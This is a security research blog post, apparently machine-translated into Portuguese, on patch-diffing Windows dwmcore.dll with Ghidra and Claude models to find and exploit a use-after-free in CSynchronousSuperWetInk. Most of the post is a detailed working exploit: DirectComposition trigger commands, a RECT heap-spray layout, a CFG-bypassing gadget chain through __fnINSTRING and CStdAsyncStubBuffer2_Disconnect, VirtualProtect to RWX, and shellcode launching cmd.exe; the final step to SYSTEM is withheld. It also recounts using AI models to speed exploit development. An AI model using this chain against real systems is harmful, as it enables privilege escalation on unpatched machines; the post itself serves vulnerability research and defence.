Joe Desimone

Patch diff para SYSTEM

Utilizando LLMs e comparação de patches, esta pesquisa detalha uma vulnerabilidade de uso após liberação (Use-After-Free) no DWM do Windows, demonstrando um exploit confiável que permite a escalada de privilégios de usuário de baixo nível para SYSTEM.

9 min de leituraHabilitação, Internos
Patch diff para SISTEMA

Intro

A comparação de patches sempre me fascinou. Acho que parte disso tem a ver com a corrida contra o tempo, a reversão de falhas, a exploração de vulnerabilidades e a tentativa de alcançar o status de exploit de "1 dia". Para alvos Windows avançados, Valentina Palmiotti e Ruben Boonen provaram que isso já era possível há quase 3 anos. Mas eles estão entre os desenvolvedores de exploits mais talentosos do mundo. Será que os mestrados em direito podem elevar o nível de competência mínimo para nós, meros mortais? Felizmente, e talvez de forma um pouco alarmante, a resposta é sim.

A Caçada

Quando o boletim do Patch Tuesday de 2026 foi divulgado, iniciei minha busca para identificar uma das vulnerabilidades corrigidas e (com sorte) desenvolver um exploit funcional para ela. No topo da lista de alvos estavam quaisquer vulnerabilidades já conhecidas por serem exploradas na prática. As atualizações de janeiro incluíam uma vulnerabilidade de vazamento de informações em uso no Gerenciador de Janelas da Área de Trabalho (DWM), que me chamou a atenção. Incluía também uma segunda vulnerabilidade no DWM que poderia levar à escalada de privilégios locais. Historicamente, a DWM tem sido um alvo frequente de escalada de privilégios locais. Às vezes, pode ser complicado identificar o componente exato que foi modificado, mas para o DWM, o arquivo dwmcore.dll é sempre uma aposta segura.

Após treinar o Ghidra nos arquivos e extrair os vetores BSim para cada função, torna-se bastante fácil destacar as diferenças entre elas. Sem mencionar que muitas vulnerabilidades corrigidas pela Microsoft vêm acompanhadas de novas flags de recursos. Como era de se esperar, o Opus 4.5 analisou as diferenças rapidamente e identificou uma das vulnerabilidades em questão de minutos.

======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================

A partir daqui, devo dizer que o tempo necessário para desenvolver um exploit funcional foi dolorosamente mais lento do que eu esperava. Passei muitas noites e fins de semana a fio aperfeiçoando e aprimorando o modelo. Boa parte disso se deveu à minha própria falta de familiaridade com a classe e o subsistema de bugs. Por fim, conseguimos prevalecer e obter execução remota de código (RCE) com privilégios baixos no DWM e no SYSTEM. Durante o processo, descobri várias técnicas de exploração inéditas, como o spray GetRECT, novas cadeias de gadgets e um caminho DWM-para-SYSTEM. No entanto, com essas técnicas (e algumas outras ferramentas) em mãos e versões de modelos mais recentes como o Opus 4.6, o tempo desde a descoberta de uma vulnerabilidade UAF no DWM até a exploração funcional caiu de 3 semanas para questão de horas.

O inseto

A vulnerabilidade é um Use-After-Free em CSynchronousSuperWetInk::~CSynchronousSuperWetInk. O destrutor remove condicionalmente o objeto de CSuperWetInkManager com base no valor de retorno de IsSuperWetCompatible().

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this->vtable = &_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
    }
    // ... cleanup continues
}

O destrutor vulnerável está presente na versão 10.0.26100.7309 do arquivo dwmcore.dll.

Condição compatível com IsSuperWet

bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
        this->clipEntry != NULL && this->comObject != NULL) {
        return true;
    }
    return false;
}

A condição IsSuperWetCompatible em dwmcore.dll versão 10.0.26100.7309.

A função retorna true somente quando LookupMode é igual a 2, ou notifier1 está definido, E ambos clipEntry e comObject não são nulos.

O inseto

Um atacante pode:

  1. Registre um CSynchronousSuperWetInk com o gerenciador (requer LookupMode=2 durante Draw())
  2. Alterar LookupMode para 0 através de CMD_SET_PROPERTY
  3. Desencadear destruição através de CMD_RELEASE_RESOURCE
  4. IsSuperWetCompatible() retorna FALSE → RemoveSource() é ignorado
  5. Um ponteiro pendurado permanece em CSuperWetInkManager::localStrokesVector

Quando o DWM itera posteriormente sobre este vetor (por exemplo, em DirtyActiveInk), ele desreferencia a vtable do objeto liberado, levando à execução controlada do código.

A correção

O patch adiciona um sinalizador de recurso (Feature_1732988217). Quando ativado, RemoveSource() é chamado incondicionalmente, independentemente de IsSuperWetCompatible(). Isso garante que o objeto seja sempre devidamente desregistrado do gerenciador durante a destruição, eliminando o ponteiro pendente.

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &_vftable_;
    bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}

O destrutor corrigido está presente na versão 10.0.26100.7623 do dwmcore.dll.

A façanha

O UAF pode ser acionado a partir de um aplicativo de modo de usuário comum por meio da API DirectComposition. O ataque não requer privilégios especiais.

Pré-requisitos

  1. Infraestrutura D3D11/DXGI: Crie um dispositivo D3D11 com suporte a BGRA e uma cadeia de troca para uma janela visível.
  2. Dispositivo DirectComposition: Inicialize via DCompositionCreateDevice() com o dispositivo DXGI.
  3. Acesso à chamada de sistema NtDComposition: Conecte ou chame diretamente NtDCompositionProcessChannelBatchBuffer e NtDCompositionCommitChannel via win32u.dll para injetar comandos brutos do buffer de lote.

Sequência de disparo

Passo 1: Criar rastro de tinta (Alocar CSynchronousSuperWetInk)

Consulte IDCompositionInkTrailDevice do dispositivo DirectComposition e, em seguida, chame CreateDelegatedInkTrailForSwapChain() ou CreateDelegatedInkTrail(). Isso aloca um objeto CSynchronousSuperWetInk (tipo de recurso 0xa8) no heap do dwm.exe.

Etapa 2: Crie o visual e defina LookupMode=2

Injetar comandos de buffer em lote em:

  1. Crie um CSuperWetInkVisual (tipo 0xa5) com CMD_CREATE_RESOURCE (0x02)
  2. Conectar visual à fonte de tinta: CMD_SET_REFERENCE (0x10) com propId 0x34
  3. Defina LookupMode=2 na fonte de tinta via CMD_SET_PROPERTY (0x0B) com propId 10
  4. Conectar à árvore de composição: CMD_SET_REFERENCE aos identificadores 1 e 2 (alvo/serializador de composição) com propId 0x34

LookupMode=2 garante que IsSuperWetCompatible() retorne TRUE durante Draw(), o que registra o objeto com CSuperWetInkManager::localStrokesVector.

Etapa 3: Renderizar quadros para registro no gerenciador

Apresentar múltiplos frames (IDXGISwapChain::Present) e confirmar alterações de DirectComposition. Isso aciona o loop de renderização do DWM, que chama a infraestrutura de tinta e registra o ponteiro CSynchronousSuperWetInk no vetor interno do gerenciador.

Passo 4: Defina LookupMode=0 (Ignorar verificação de remoção)

Injete CMD_SET_PROPERTY para alterar LookupMode para 0. Agora IsSuperWetCompatible() retornará FALSO porque:

if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)

Com LookupMode = 0 e nenhum notificador, a primeira condição falha.

Passo 5: Liberar o rastro de tinta (criar ponteiro pendente)

  1. Desconectar referências visuais: CMD_SET_REFERENCE com refHandle=0 para todas as conexões
  2. Libere a interface IDCompositionDelegatedInkTrail

Quando o destrutor ~CSynchronousSuperWetInk é executado:

  • Ele chama IsSuperWetCompatible() que retorna FALSE (LookupMode=0)
  • RemoveSource() é IGNORADO
  • O objeto é liberado, mas seu ponteiro permanece em CSuperWetInkManager::localStrokesVector

Etapa 6: Acionar DirtyActiveInk (Uso após liberação)

Continue apresentando frames e invalidando a janela. O loop de composição do DWM chama CSuperWetInkManager::DirtyActiveInk(), que itera sobre localStrokesVector e desreferencia o ponteiro pendente:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);

Comportamento em caso de colisão

Sem um heap spray, o DWM trava ao acessar memória liberada:

 # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a

Se a memória liberada for recuperada por outro objeto (por exemplo, CInteractionTrackerScaleAnimation), a falha ocorrerá em uma vtable inesperada:

kd> dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24

Ao controlar quais dados recuperam a alocação liberada, um atacante pode criar uma vtable falsa e obter execução de código arbitrário por meio da chamada virtual em vtable+0x50.

Pulverização de monte

Para explorar o UAF, devemos recuperar a alocação CSynchronousSuperWetInk liberada com dados controlados pelo atacante contendo uma vtable falsa. Esta seção documenta a técnica de pulverização de buffer RECT CRegionGeometry que denominamos GetRECT.

Propriedades do objeto de destino

PropriedadeValue
ObjetoCSynchronousSuperWetInk
Tamanho0x120 (288 bytes)
AlocadorDefaultHeap::AllocClearGetProcessHeap()
Balde LFH34 (intervalo de 273 a 288 bytes)
Slots por subsegmento57

Primitiva de pulverização: Buffer RETÂNGULO CRegionGeometry

O spray utiliza recursos CRegionGeometry (tipo 0x81) com dados de matriz RECT:

PropriedadeValue
Tipo de recurso0x81 (CRegionGeometry)
Tamanho do spray18 retângulos × 16 bytes = 288 bytes
Alocadorstd::_Allocate<16>HeapAlloc(GetProcessHeap(), 0, 288)
Balde LFH34, igual ao alvo
Controle de conteúdo72 valores int32 (18 campos RECTs × 4 )

Cadeia de alocação:

dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)

O buffer RECT é escrito através de CMD_SET_BUFFER_PROPERTY (0x0F) com propId 5:

struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};

Layout retangular para objeto falso

Os retângulos 18 (288 bytes) fornecem controle total sobre a memória recuperada:

struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)

Função auxiliar para escrever valores de 64 bits em campos RECT adjacentes:

static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val & 0xFFFFFFFF);
    *hi = (int32_t)(val >> 32);
}

Exploração Primitiva

O UAF nos fornece uma chamada de tabela virtual controlada com RCX apontando para o objeto pulverizado. Quando DirtyActiveInk itera sobre o ponteiro pendente:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray

Pilha de chamadas do site:

00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c

Registre o estado no despacho:

  • RCX = ponteiro para o objeto pulverizado (nossos 288 bytes controlados)
  • RIP = [[spray]+0x50] (ponteiro de função da tabela virtual falsa)

Restrições da função alvo

Inicialmente, existem duas restrições sobre o que podemos chamar de:

  1. O alvo deve estar no bitmap CFG (marcado como alvo de chamada válido).
  2. O alvo deve ter um ponteiro para ele (na IAT, vtable ou outra memória legível).

Não podemos chamar diretamente endereços arbitrários; apenas funções que satisfaçam ambas as condições.

Cadeia de Gadgets: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect

Com o UAF nos dando uma chamada de vtable controlada (RIP = [[spray]+0x50], RCX = spray), o desafio restante é encadear gadgets válidos para CFG para alcançar a execução de código arbitrário. A execução direta de shellcode é bloqueada pelo CFG e não temos vazamento de endereço de heap. Desenvolvemos uma nova cadeia de dispositivos que resolve ambos os problemas para alcançar a execução de código, mas foram necessárias 2 tentativas de exploração bem-sucedidas, diminuindo a confiabilidade. Portanto, recorremos a uma técnica pública conhecida usando dois gadgets DLL do sistema Windows: __fnINSTRING (user32.dll) e CStdAsyncStubBuffer2_Disconnect (combase.dll).

Etapa 1: __fnINSTRING - Despacho de retorno de chamada do kernel sem vazamento

O kernel do Windows comunica-se de volta ao modo de usuário através do KernelCallbackTable (KCT), uma tabela de ponteiros de função armazenada no PEB no deslocamento +0x58. Cada entrada aponta para um manipulador __fn* em user32.dll. Essas funções são alvos de chamada válidos pela CFG e possuem ponteiros para elas em memória legível (a própria KCT), satisfazendo ambas as restrições.

Apontamos a vtable falsa para &KCT[fnINSTRING_index] - 0x50. Quando DirtyActiveInk desreferencia [[spray]+0x50], ele lê a entrada KCT e despacha para __fnINSTRING:

[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &__fnINSTRING

O que torna isso útil é o que __fnINSTRING faz internamente. Ele trata seu argumento (nosso buffer de spray) como uma estrutura _CAPTUREBUF e chama FixupCallbackPointers antes de despachar a função interna. FixupCallbackPointers lê uma tabela de correção do buffer e converte deslocamentos relativos em endereços absolutos adicionando o endereço base do buffer:

// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf->guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
    for (int i = 0; i < buf->fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}

Isso elimina a necessidade de um vazamento de endereço de heap. Incorporamos deslocamentos relativos no buffer de pulverização e FixupCallbackPointers os convertemos em ponteiros absolutos em tempo de execução usando o próprio endereço do buffer. Após a correção, __fnINSTRING despacha o ponteiro de função interna em +0x48 com os argumentos em +0x28 (RCX), +0x30 (EDX), +0x38 (R8) e +0x50 (R9).

Atribuímos o valor CStdAsyncStubBuffer2_Disconnect à função interna.

Etapa 2: CStdAsyncStubBuffer2_Disconnect - Duas chamadas encadeadas de tabela virtual

CStdAsyncStubBuffer2_Disconnect é exportado de combase.dll, tornando-o válido para CFG com um endereço estável. Sua desmontagem revela uma primitiva útil: duas chamadas sequenciais à tabela virtual com registros de argumentos preservados:

; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET

RDX, R8 e R9 são preservados em ambas as chamadas, chegando intactos da configuração de argumentos de __fnINSTRING. Isso nos dá controle total sobre os três primeiros argumentos de ambas as chamadas da tabela virtual.

Chamada Vtable nº 1: VirtualProtect → RWX

Construímos um objeto falso autorreferencial em +0xC8 no buffer de spray: [+0xC8] aponta para si mesmo (após a correção), então desreferenciar [RCX] → [RCX+0x20] lê o endereço de VirtualProtect de +0xE8. Os argumentos (preservados do despacho __fnINSTRING ) são:

Inscreva-seValueObjetivo
RCXbase+0xC8 (objeto falso 1)lpAddress (início da região de buffer de pulverização)
RDX0x1000tamanho dw
R80x40flNovoProteger (PAGE_EXECUTE_READWRITE)
R9base+0xC0lpflOldProtect (slot de saída no buffer de pulverização)

Após essa chamada, a página de memória do buffer de pulverização é marcada como RWX e o bitmap CFG é atualizado para permitir a execução a partir dessa região.

Chamada de tabela virtual nº 2: Shellcode embutido

Após o VirtualProtect retornar, o Disconnect carrega [this+0x10] no RCX para o segundo despacho da vtable:

XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0

A cadeia de ponteiros se resolve passo a passo:

  1. [this+0x10] = [base+0x90] = base+0xA0 (objeto_falso_2)
  2. [RCX] = [base+0xA0] = base+0xA8, ponteiro da tabela virtual de fake_obj_2 (após correção)
  3. [RAX+0x10] = [base+0xB8] = base+0xD0, terceira entrada da vtable_2, apontando para o nosso shellcode

O último CALL guard_dispatch_icall despacha para base+0xD0, nosso shellcode embutido, agora executável e válido no CFG graças à chamada VirtualProtect anterior.

Layout do Shellcode

O shellcode é dividido em duas fases porque os dados de endereço do VirtualProtect estão em +0xE8 (usado como vtable_1[0x20] pela chamada #1), criando uma lacuna no meio da nossa região executável:

Fase 1 (+0xD0, 22 bytes): Salva RCX (base+0xA0) em RBX para posterior aritmética de endereço, aloca espaço de sombra, carrega SW_SHOW (5) em RDX, carrega o endereço absoluto de WinExec via movabs RAX, e então salta sobre a lacuna de dados de 8 bytes em +0xE8:

mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0

Fase 2 (+0xF0): Chama WinExec com um ponteiro relativo RIPpara a string "cmd.exe\0" incorporada no final do shellcode, desativa o spray para reentrada segura e, em seguida, realiza uma correção de pilha para retornar diretamente ao loop de composição do DWM:

lea  rcx, [rip+0x22]      ; rcx = &"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here

O add rsp, 0xB8 melhora a confiabilidade. Um add rsp, 0x28 ingênuo retornaria para CStdAsyncStubBuffer2_Disconnect, que então retornaria para __fnINSTRING, que chama NtCallbackReturn. Este caminho de retorno de chamada do kernel pode ser frágil no contexto de uma chamada sequestrada. Ao adicionar um 0x90 extra ao ajuste de pilha, o shellcode ignora completamente os dois quadros intermediários e retorna diretamente ao chamador de DirtyActiveInk no loop de composição DWM.

Reentrada segura: Desativando o spray

DirtyActiveInk do DWM pode iterar o ponteiro pendente mais de uma vez. Sem a desativação da bomba, cada reentrada acionaria novamente toda a cadeia de disparos e causaria uma falha. O shellcode reescreve o ponteiro da tabela virtual do spray para que as desreferências subsequentes sigam um caminho inofensivo:

  1. [base+0x00] é sobrescrito para base+0x08 (nova vtable falsa)
  2. [base+0x58] é sobrescrito para o endereço de uma instrução ret

Ao reentrar: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. A chamada da tabela virtual retorna imediatamente. __fnINSTRING nunca é invocado novamente porque a vtable não aponta mais para a entrada KCT.

Layout completo de pulverização

O buffer de pulverização completo de 288 bytes (18 RECTs) após FixupCallbackPointers:

DesvioTamanhoConteúdoObjetivo
+0x008Entrada KCT - 0x50vtable falsa → __fnINSTRING
+0x0848Contagem de consertos
+0x1840x58Deslocamento da tabela Fixup
+0x208base (corrigida)Guarda (bloqueia a reinstalação)
+0x288base+0x80 (corrigido)RCX → Desconectar this
+0x3040x1000EDX → VirtualProtect dwSize
+0x3880x40R8 → PAGE_EXECUTE_READWRITE
+0x488DesconectarPonteiro de função interna
+0x508base+0xC0 (corrigido)R9 → lpflOldProtect
+0x5832tabela de correção (8 entradas)Deslocamentos para correção
+0x788base+0xC8 (corrigido)[this-8] → fake_obj_1
+0x808(não utilizado)Desconectar base this
+0x908base+0xA0 (corrigido)[this+0x10] → fake_obj_2
+0xA08base+0xA8 (corrigido)tabela virtual fake_obj_2
+0xB88base+0xD0 (corrigido)vtable_2[0x10] → shellcode
+0xC04(saída)VirtualProtect lpflOldProtect
+0xC88base+0xC8 (corrigido)vtable autorreferencial (fake_obj_1)
+0xD022shellcode fase 1Salvar registros, carregar WinExec, pular
+0xE88&VirtualProtectdados vtable_1[0x20]
+0xF048shellcode fase 2WinExec + defuse + stack fixup + "cmd.exe\0"

Resumo da cadeia completa

DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return

O processo DWM é executado como o usuário DWM com integridade do sistema. As técnicas públicas anteriores para obter acesso ao SYSTEM normalmente envolviam o sequestro de ponteiros de função mapeados em processos de cliente privilegiados, como LogonUI ou Consent. No entanto, parece que essa técnica foi corrigida recentemente, já que a seção compartilhada agora está mapeada como somente leitura. Desenvolvemos um novo caminho alternativo para o SYSTEM, mas optamos por não publicar a técnica neste momento.

Considerações Finais

Os modelos que temos hoje são altamente capazes de realizar tarefas que historicamente exigiam conhecimento especializado profundo, cultivado ao longo de muitos anos. Isso inclui atividades como engenharia reversa, descoberta de vulnerabilidades e desenvolvimento de exploits. Suas capacidades são irregulares e ainda não rivalizam com as dos melhores do mundo nessas áreas. No entanto, o avanço dos modelos parece não dar sinais de desaceleração no momento. Isso nivela o campo de jogo para os defensores, mas também aumenta as capacidades dos atacantes. Embora sempre tenha existido um jogo de gato e rato entre adversários, e isso não seja novidade nesse aspecto, os atacantes têm, pelo menos a curto prazo, uma vantagem assimétrica para usar essas ferramentas para causar danos. Os atacantes podem agir mais rapidamente, com pouca preocupação com a segurança ou a proteção dos sistemas de IA. Os defensores devem aproveitar a IA para fins ofensivos contra seu código (para vulnerabilidades), produtos de segurança (para lacunas de detecção) e suas empresas (emulação de adversários) para encontrar pontos fracos e aprimorar as defesas antes que os invasores o façam. Infelizmente, podem ser as pequenas organizações sem equipes de segurança que sofrerão o impacto mais severo a curto prazo. Minha esperança é que, a longo prazo, a comunidade de segurança possa, em conjunto, investir mais do que os atacantes em pesquisa ofensiva e defensiva, e que saiamos desta era em uma situação melhor do que quando começamos.

Compartilhe este artigo